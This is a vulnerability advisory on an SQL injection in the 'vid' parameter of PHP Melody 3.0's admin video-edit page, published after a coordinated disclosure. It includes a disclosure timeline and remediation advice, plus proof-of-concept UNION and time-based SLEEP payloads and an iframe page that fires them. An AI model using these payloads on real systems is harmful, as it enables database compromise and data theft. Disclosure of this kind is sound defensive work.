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PHP Melody 3.0 SQL Injection

PHP Melody 3.0 SQL Injection
Posted Oct 26, 2021
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

PHP Melody version 3.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, php, sql injection
SHA-256 | 285af7fc9520b839fdd7b3c657b0b5f5fd716706d49dd396985913c31013892f

PHP Melody 3.0 SQL Injection

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Document Title:
===============
PHP Melody v3.0 - (vid) SQL Injection Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2295

Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/


Release Date:
=============
2021-10-20


Vulnerability Laboratory ID (VL-ID):
====================================
2295


Common Vulnerability Scoring System:
====================================
7


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.

(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the PHP Melody v3.0 video cms web-application.


Affected Product(s):
====================
PHPSUGAR
Product: PHP Melody v3.0 - Video CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-04: Vendor Response/Feedback (Security Department)
2021-09-22: Vendor Fix/Patch (Service Developer Team)
2021-09-22: Security Acknowledgements (Security Department)
2021-10-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Full Authentication (Admin/Root Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A remote sql-injection vulnerability has been discovered in the PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or
file system of the web-application.

The remote sql injection vulnerability is located in the `vid` parameter of the `edit-video.php` file.
Remote attackers with moderator or admin access privileges are able to execute own malicious sql commands
by inject get method request. The vid parameter in the acp ui is not sanitized properly. Thus allows an
attacker to inject own sql commands to compromise the web-application and dbms.

Exploitation of the remote sql injection vulnerability requires no user interaction but a privileged moderator or admin account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Video Edit

Vulnerable File(s):
[+] edit-video.php

Vulnerable Parameter(s):
[+] vid


Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by authenticated remote attackers without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Original:
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd&a=4&page=1&filter=added&fv=desc


PoC: Exploitation #1
https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--


PoC: Exploitation #2
https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--


PoC: Exploit
<html>
<head><body>
<title>phpmelody vid sql injection poc</title>
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,
CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271),
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--">
<br>
<iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--">
</body></head>
</html>


Reference(s):
https://phpmelody.localhost:8000/
https://phpmelody.localhost:8000/admin/
https://phpmelody.localhost:8000/admin/edit-video.php


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by the following steps ...
1. Use a prepared statement to build the query
2. Restrict the parameter input to disallow special chars
3. Escape and encode the content to prevent execution of malicious payloads
4. Alternativ it is possible to integrate a web firewall or filter class to block further attacks.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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